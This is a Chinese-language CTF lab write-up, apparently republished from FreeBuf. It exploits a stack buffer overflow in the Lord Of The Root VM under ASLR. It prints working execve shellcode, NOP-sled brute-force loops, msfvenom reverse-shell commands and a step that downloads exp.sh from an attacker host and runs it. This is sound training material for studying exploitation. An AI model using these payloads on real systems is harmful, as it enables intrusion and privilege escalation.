缓冲区溢出-实例分析
2023-4-5 09:9:54 Author: 编码安全研究(查看原文) 阅读量:11 收藏

本文我们通过Lord Of The Root-1.0.1靶机中的缓冲区溢出漏洞进行实例分析,靶机可在vulhub中进行下载.该靶场存在缓冲区溢出,并且有两层防护机制,缓冲区溢出是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

方法一

/SECRET/door2/file/SECRET/door1/file/SECRET/door3/file之前枚举到这三个文件中含有缓冲区溢出,root目录下还有防护策略.ls -lahR
可以看到SECRET目录下的三个子目录,里面各有一个file,注意,间隔了几分钟后,我们再次查看,发现文件大小发生了变化。

一开始door3中的file大小为5.1k。
现在door2中的file为5.1k,同时使用ldd命令查看file ldd(查看依赖情况)。
在不断发生变化,这个是因为存在一个防护机制ASLR。
我们查看ASLR设置:
cat /proc/sys/kernel/randomize_va_space或者:sysctl -a --pattern randomize
返回20 = 关闭1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)2 = 全随机。除了1中所述,还有heap。如果没有设置ASLR的话,ldd看到的值也都是固定的。
注意:这里的ASLR设置并不等于上文所说root权限下执行的那个py文件,switcher.py每三分钟变换一次值,相当于这是两道防护,让溢出的难度变得更大。
绕过ASLR的一种方法是通过编写一个自动循环脚本(循环攻击,总会攻击到溢出的那个点)来强制堆栈,接下来要放入payload需要进行nop sled来爆破一个空间出来。
现在的情况就是,缓冲区溢出的文件随机,空间也随机。
对于溢出来说,有几个点:
首先,溢出的点在哪里(偏移量/溢出值)
溢出后,后面的空间有多大,放合适的恶意代码进去
绕过安全保护机制
首先我们找到那个5.1k的file,然后把他搞到kali里面。
我这里直接base64编码复制出来。
base64 file
放到本地的一个文本中,并且复原成file。
cat base64.txt | base64 -d > file
此时在确定file是5.1k的情况下查看md5值,与kali里的进行对比。
确认两个值一致,然后我们开始分析这个file。
使用GDB进行分析!下面两个插件比较好用。
安装pwndbg
记得更新kali源:
https://blog.csdn.net/weixin_42380348/article/details/89959761source /root/Desktop/6/pwndbg/gdbinit.pygit clone https://github.com/pwndbg/pwndbgcd pwndbgsudo ./setup.sh
这里一定要更新源,在用代理更新下载!如果要修改就执行:
vi ~/.gdbinit---用哪个就注释即可
安装peda
git clone https://github.com/longld/peda.git~/pedaecho "source ~/peda/peda.py" >> ~/.gdbinit

调试file

我们现在测试一些file到底是否存在溢出
授予权限并尝试执行
chmod +x file
显示给一个值
./file aaaaaaaaaaaaa
回显正常,把值加大
./file $(python -c 'print "A" * 2000')
回显段错误
查找一个脚本
locate pattern_
这两个脚本是专门用作缓冲区溢出查找偏移量的。

生成1000位值

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

使用GDB执行值

run就是执行
gdb filerun Aa0A.........
这两个工具是对应的,识别溢出点,上面脚本的找到错误点,下面的脚本找到位置:
0x41376641 in ?? ()
查看到错误点在41376641。

分析错误点判断偏移量

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641
在171的位置

尝试在偏移量171溢出后情况:

r $(python -c 'print "A" * 171 + "B" * 4')
在溢出后的位置写入BBBB。
ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。ESP就是前面说的,始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。
EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。EBP存储着当前函数栈底的地址,栈底通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。
EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。
可以说如果控制了EIP寄存器的内容,就控制了进程——我们让EIP指向哪里,CPU就会去执行哪里的指令。

Nop空间测试ESP

由于开启了ASLR机制,需要进行nop sled来爆破一个空间出来:
run $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000')
写入171个A之后,写入4个B,之后写入90。

ESP就是我们溢出之后执行shellcode的地方。
x/s $esp

0xffffc810: '\220' <repeats 200 times>...
这时候ESP变了,指向了ffffc810地址,这是nop sled的地址开始处,当ESP指向该地址处后,就会执行栈堆空间的payload获得shell,那么接下来就是要爆破,nop sled被访问。

恶意payload

peda help shellcode–-- 关于 shellcode 的帮助
shellcode search exec–-- 如何使用 'exec' 搜索所有 shellcode。
我们这里使用841。
shellcode display 841–-- 显示找到的代码的来源

上面的部分是注释,下面的部分是代码:
shellcode generate x86/linux exec--– 生成代码
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31""\xc9\x89\xca\x6a\x0b\x58\xcd\x80")

检查文件是否做了安全措施

checksec
这个就是ESP的地址,注意要倒序
0x ffffc860ff ff c8 60\x60\xc8\xff\xff
增加nop sled被访问机
可以增加10000....
run $(python -c 'print "A" * 171 + "\x60\xc8\xff\xff" + "\x90" * 20000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')

可以拿到一个shell

for循环爆破找nop碰撞执行shell

for a in {1..1000}; do ./file $(python -c 'print "A" * 171 + "\xa0\x64\x8b\xbf" + "\x90" * 20000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'); done
如果文件在几分钟后随机变动了,不在该目录底下,在没有for循环nop拿到shell后,又得跑到溢出file的目录下载执行一次for,很麻烦!

方法二

https://blog.csdn.net/missmxr/article/details/121451920

进入door1,只有file文件,尝试分析猜测文件

objdump -d --no-show-raw-insn file ---查看可执行函数的十六进制显示filestrings file
查看door2,door3目录,都只有file文件,但是分析时发现door2下的file存在strcpy!
参考百度百科熟悉strcpy:https://baike.baidu.com/item/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA/678453?fr=aladdinhttps://blog.csdn.net/weixin_30709635/article/details/99100913

msf生成1000字符串,使用gdb调试

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000gdb filerun ....

查找溢出位置

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641
溢出位置为171!验证下eip的内容!
如果存在溢出,肯定要写入恶意代码,那么有没有写入的权限程序,往下查看!

vmmap查看信息 栈溢出

STACK:栈,用来保存函数运行时的临时变量等
HEAP:堆,一般是主动编写代码来分配和回收堆内存
CODE: 代码段,是用来存放代码的
DATA:数据段,一般用来存放全局变量
参考:https://ch4r1l3.github.io/2018/06/22/pwn从入门到放弃第三章——gdb的基本使用教程/

验证EIP

r $(python -c 'print "A"*171 + "B"*4 + "C"*20')

验证ESP

x/20b $esp
存在c的,那么确认坏字符!

确认坏字符

缓冲区溢出的在生成shellcode时,会影响输入的字符,比如’n’字符会终止输入,会截断输入导致我们输入的字符不能完全进入缓冲区。常见的坏字符有x0a、x0b、x00
现在生成一串与字节数组相同的坏字符。以下 python 脚本可用于生成从 \x01 到 \xff 的坏字符字符串:
---------#!/usr/bin/env pythonfrom __future__ import print_functionfor x in range(1, 256):print("\\x" + "{:02x}".format(x), end='')print()---------r $(python -c 'print "A"*171 + "B"*4 + ""')x/256x $esp ---如果出问题就x和b换用
能看到1-8是正常的,后门就全乱了,怀疑0x08后面的0x00和0x09是个坏字符,至于后面全乱序猜测是因为0x0a换行符的问题。重新来,去掉0x09和0x0a:
好看多了,但是从0x20又开始乱了,去掉0x20后门就好了。
注意:这一定要仔细看,因为看少了看错了都会导致msf的payload执行不成功!
重新来,去掉0x09、0x0a和0x20:
坏字符总结为0x09、0x0a、0x20、再加个0x00!(默认排除空字节\x00)

msf生成payload

-----------windows:msfvenom -p windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f py -vLinux:msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=443 -b "\x00\x09\x0a\x20" EXITFUNC=thread -f clinux2:msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x20' -e x86/shikata_ga_nai -fcpayload:-a 框架选择-p 载荷类型LHOST 本机地址LPORT-b 坏字符-e 要使用的编码器-f 编译的语言-c 指定要包含的附加 win32 shellcode 文件-v 载荷的名称------------

查看jmp

最后需要看看是否有调用jmp到es(因为我们无法控制 eax),查看能够更好的控制漏洞利用的过程,防止不成功。
objdump -D file | grep -P 'jmp|call' | grep esp
回显esp,不需要jmp做跳板到shellcode,接下来绕过就是用大量的nop即可!

bash执行shell

"\xb8\x37\xc9\x64\x34\xda\xd6\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xc2\xa3\x6f\x6c\xb5\x66\x16\xe4\xe8\xe5\x5f\x13\x9a\xc6\x2c\xb4\x5a\x71\xfc\x26\x33\xef\x8b\x44\x91\x07\x83\x8a\x15\xd8\xbb\xe8\x7c\xb6\xec\x9f\x16\x46\xa4\x0c\x6f\xa7\x87\x33"------0xbf96b590bf 96 b5 90\x90\xb5\x96\xbf#!/bin/bashwhile true; do$(find /SECRET -type f -size 5150c) $(python -c 'print "A"*171 + "\x90\xb5\x96\xbf" + "\x90"*20000 + "\xb8\x37\xc9\x64\x34\xda\xd6\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xc2\xa3\x6f\x6c\xb5\x66\x16\xe4\xe8\xe5\x5f\x13\x9a\xc6\x2c\xb4\x5a\x71\xfc\x26\x33\xef\x8b\x44\x91\x07\x83\x8a\x15\xd8\xbb\xe8\x7c\xb6\xec\x9f\x16\x46\xa4\x0c\x6f\xa7\x87\x33"') 2> /dev/nullsleep 1donels -la ---查看文件大小-size ---表示文件大小-type ---文件类型f 普通文件-------wget http://10.211.55.19:8081/exp.shchmod +x exp.sh./exp.sh
成功!!

作者:YLion,文章转载于FreeBuf.COM
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文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247502108&idx=3&sn=d028c181efd2d2e09c9bd5570e9254eb&chksm=ce649a79f913136fcbdd6245e385a327a88d9e38f104fe1a95bc850b1259c0ce500570e63d06#rd
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